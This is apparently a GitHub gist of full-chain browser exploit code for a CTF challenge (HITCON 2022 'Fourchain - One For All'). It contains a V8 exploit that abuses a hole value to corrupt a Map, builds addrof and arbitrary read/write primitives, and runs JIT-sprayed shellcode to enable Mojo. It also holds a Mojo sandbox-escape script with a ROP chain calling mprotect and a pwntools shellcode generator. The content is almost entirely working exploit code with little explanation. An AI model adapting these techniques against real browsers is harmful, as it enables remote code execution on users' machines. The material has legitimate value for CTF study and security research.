-
-
Save bruce30262/e1db7ebfb17c4724c5aee8629fb25f27 to your computer and use it in GitHub Desktop.
Fullchain browser exploits for HITCON CTF 2022 Fourchain - One For All
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<script src="./mojo_bindings/mojo_bindings.js"></script> | |
<script src="./mojo_bindings/third_party/blink/public/mojom/sandbox/sandbox.mojom.js"></script> | |
<pre id='log'></pre> | |
<script> | |
function print(string) { | |
var log = document.getElementById('log'); | |
if (log) { | |
log.innerText += string + '\n'; | |
} | |
} | |
function hex(i) { | |
start = ""; | |
content = i.toString(16); | |
if (i < 0) { | |
start += "-"; | |
content = content.substring(1); | |
} | |
return start + "0x" + content; | |
} | |
</script> | |
<script src="./pwn_v8.js"></script> | |
<script src="./pwn_sbx.js"></script> | |
<script> | |
if (typeof (Mojo) !== "undefined") { | |
pwn_sbx(); | |
} else { | |
pwn_v8(); | |
} | |
</script> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function pwn_sbx() { | |
(async function pwn() { | |
let i = 0; | |
var A = new blink.mojom.SandboxPtr(); | |
Mojo.bindInterface(blink.mojom.Sandbox.name, mojo.makeRequest(A).handle); | |
var heap = (await A.getHeapAddress()).addr; | |
var text = (await A.getTextAddress()).addr; | |
print("text: "+hex(text)); | |
print("heap: "+hex(heap)); | |
var base = text - 0x627fc20; // nm --demangle ./chrome | grep 'SandboxImpl::Create' | |
pop4 = base + 0x0d8e6554; // pop r12; pop r13; pop r14; pop r15; ret; | |
xchg_rsp_rax = base + 0x05c3e9b2; // xchg rsp, rax; ret; | |
pop_rax = base + 0x0d8e64f4; // pop rax; ret; | |
pop_rsi = base + 0x0d8cdf7c; // pop rsi; ret; | |
pop_rdx = base + 0x05caa52e; // pop rdx; ret; | |
pop_rdi = base + 0x0749d85d; // pop rdi; ret; | |
syscall_ret = base + 0x0972e4b7; // syscall; ret; | |
jmp_rax = base + 0x0a425c58; // jmp rax; | |
var dataA = new ArrayBuffer(0x800); | |
var u8arrA = new Uint8Array(dataA); | |
u8arrA.fill(0x90); | |
function add_rop(idx, gadget) { | |
let arb = new ArrayBuffer(0x8); | |
let u8 = new Uint8Array(arb); | |
let b64 = new BigInt64Array(arb); | |
b64[0] = BigInt(gadget); | |
u8arrA.set(u8, idx); | |
} | |
var cur_idx = 0; | |
function add_rop_auto(gadget) { | |
add_rop(cur_idx, gadget); | |
cur_idx += 8; | |
} | |
// set ROP chain for mprotect(heap&(~0xfff), 0x2000, 7); | |
add_rop(0x7, pop4); | |
add_rop(0x27, xchg_rsp_rax); | |
cur_idx = 0x27+8; | |
add_rop_auto(pop_rax); | |
add_rop_auto(10); | |
add_rop_auto(pop_rdx); | |
add_rop_auto(7); | |
add_rop_auto(pop_rsi); | |
add_rop_auto(0x2000); | |
add_rop_auto(pop_rdi); | |
add_rop_auto(BigInt(heap) & (~0xfffn)); | |
add_rop_auto(syscall_ret); | |
add_rop_auto(pop_rax); | |
add_rop_auto(heap+0x100); | |
add_rop_auto(jmp_rax); | |
// set shellcode | |
//e.g. sc = [0x90, 0x90, ...]; | |
sc = [0xcc, 0xcc]; | |
u8arrA.set(sc, 0xf0); | |
await A.pourSand(u8arrA); | |
B = []; | |
MAX = 0x100; | |
for (i = 0; i < MAX; i++) { | |
B.push(null); | |
B[i] = new blink.mojom.SandboxPtr(); | |
Mojo.bindInterface(blink.mojom.Sandbox.name, mojo.makeRequest(B[i]).handle); | |
} | |
let data = new ArrayBuffer(0x820+0x800); | |
let b64arr = new BigUint64Array(data); | |
let u8arr = new Uint8Array(data); | |
b64arr.fill(BigInt(heap+0x18)); // fake vtable | |
b64arr[b64arr.length-1] = 0n; // bypass crash | |
// trigger vulnerability | |
for (i = 0; i < MAX; i++) { | |
await B[i].pourSand(u8arr); | |
await B[i].ptr.reset(); | |
} | |
})(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ab = new ArrayBuffer(8); | |
f64 = new Float64Array(ab); | |
B64 = new BigInt64Array(ab); | |
function ftoi(f) { | |
f64[0] = f; | |
return B64[0]; | |
} | |
function itof(i) { | |
B64[0] = i; | |
return f64[0]; | |
} | |
function trigger() { | |
let a = [1, 2, 3]; | |
return a.hole(); | |
} | |
function foo() { | |
// Arbitrary write ( traverse foo.bar, get the heap & the chrome address and write 0x1 to blink::RuntimeEnabledFeaturesBase::is_mojo_js_enabled_ ) | |
return [ | |
1.0, | |
1.971182896537854e-246, | |
1.9711824873691482e-246, | |
1.9711828966039986e-246, | |
1.9711828996966502e-246, | |
1.9713036086427644e-246, | |
1.971182314009433e-246, | |
1.9711823524209352e-246, | |
1.9711828965422596e-246, | |
1.9710400013656955e-246, | |
1.971183204063025e-246, | |
1.9710406524285364e-246, | |
1.9711832033970258e-246, | |
1.971182897998491e-246, | |
-6.828527039272794e-229 | |
]; | |
} | |
function pwn_v8() { | |
for (let i = 0; i < 0x10000; i++) { | |
foo();foo();foo();foo(); | |
} | |
let hole = trigger(); | |
var map = new Map(); | |
map.set(1, 1); | |
map.set(hole, 1); | |
map.delete(hole); | |
map.delete(hole); | |
map.delete(1); | |
print(map.size); // map.size == -1 | |
oob_arr = [1.1, 1.1, 1.1, 1.1]; | |
victim_arr = [2.2, 2.2, 2.2, 2.2]; | |
obj_arr = [{}, {}, {}, {}]; | |
map.set(50, -1); | |
map.set(0x101, 0); | |
print(oob_arr.length); // now oob_arr.length = 0x101 | |
data = ftoi(oob_arr[20]); | |
ori_victim_arr_elem = (data & 0xffffffff00000000n) >> 32n; | |
element_kind = data & 0xffffffffn; | |
function addrof(o) { | |
oob_arr[20] = itof( (ori_victim_arr_elem << 32n) | element_kind ); | |
oob_arr[31] = itof( (ori_victim_arr_elem << 32n) | element_kind ); | |
obj_arr[0] = o; | |
return ftoi(victim_arr[0]) & 0xffffffffn; | |
} | |
function heap_read64(addr) { | |
oob_arr[20] = itof( ((addr-0x8n) << 32n) | element_kind ); | |
return ftoi(victim_arr[0]); | |
} | |
function heap_write64(addr, val) { | |
oob_arr[20] = itof( ((addr-0x8n) << 32n) | element_kind ); | |
victim_arr[0] = itof(val); | |
} | |
foo_addr = addrof(foo); | |
code_addr = heap_read64(foo_addr + 0x18n) & 0xffffffffn; | |
jit_addr = heap_read64(code_addr + 0xcn); | |
heap_write64(code_addr + 0xcn, jit_addr + 0x82n); // Offset based on the Vagrant VM in Fourchain - One For All | |
heap = heap_read64(addrof(ab) + 0x28n); // the heap in the ArrayBuffer that contains chrome address | |
foo.bar = heap; | |
foo(); // trigger shellcode execution | |
window.location.reload(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Generate immediate numbers shellcode that does arbitrary write in V8 | |
from pwn import * | |
import struct | |
context.arch = 'amd64' | |
jmp = b'\xeb\x0c' | |
def tod(data): | |
assert len(data) == 8 | |
return struct.unpack('<d', data)[0] | |
def add_jmp(code): | |
assert len(code) <= 6 | |
print(str(tod(code.ljust(6, b'\x90') + jmp))+",") | |
def end(code): | |
assert len(code) <= 8 | |
print(tod(code.ljust(8, b'\x90'))) | |
add_jmp(asm("mov eax, [rdi+3]")) # get foo's properties compress pointer | |
add_jmp(asm("lea rax, [rax+r14]")) # get property address | |
add_jmp(asm("mov eax, [rax+7]")) # get foo.bar compress pointer | |
add_jmp(asm("inc rax")) | |
add_jmp(asm("lea rax, [rax+r14-1]")) # get foo.bar address | |
add_jmp(asm("mov rbx, [rax+7]")) # get the_heap | |
add_jmp(asm("mov rbx, [rbx+0x10]")) # get [the_heap+0x10] -> another heap | |
add_jmp(asm("mov rax, [rbx]")) | |
# rax is now vtable for std::Cr::__shared_ptr_pointer<v8::internal::BackingStore*, std::Cr::default_delete<v8::internal::BackingStore>, std::Cr::allocator<v8::internal::BackingStore> >+0x10 | |
# nm ./chrome | grep "_ZTVNSt2Cr20__shared_ptr_pointerIPN2v88internal12BackingStoreENS_14default_deleteIS3_EENS_9allocatorIS3_EEEE" | |
# 000000000d9b63f0 d _ZTVNSt2Cr20__shared_ptr_pointerIPN2v88internal12BackingStoreENS_14default_deleteIS3_EENS_9allocatorIS3_EEEE | |
# we need to subtract (0xd9b63f0+0x10) | |
add_jmp(asm("push 0xd9b6400")) | |
add_jmp(asm("pop rbx ; sub rax, rbx")) | |
# nm --demangle ./chrome | grep "is_mojo_js_enabled" | |
# 000000000e3422ec b blink::RuntimeEnabledFeaturesBase::is_mojo_js_enabled_ | |
add_jmp(asm("push 0xe3422ec")) # blink::RuntimeEnabledFeaturesBase::is_mojo_js_enabled_ | |
add_jmp(asm("pop rbx ; add rax, rbx")) | |
add_jmp(asm("push 0x1 ; pop rbx;")) | |
end(asm("movb [rax], bl ; ret")) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment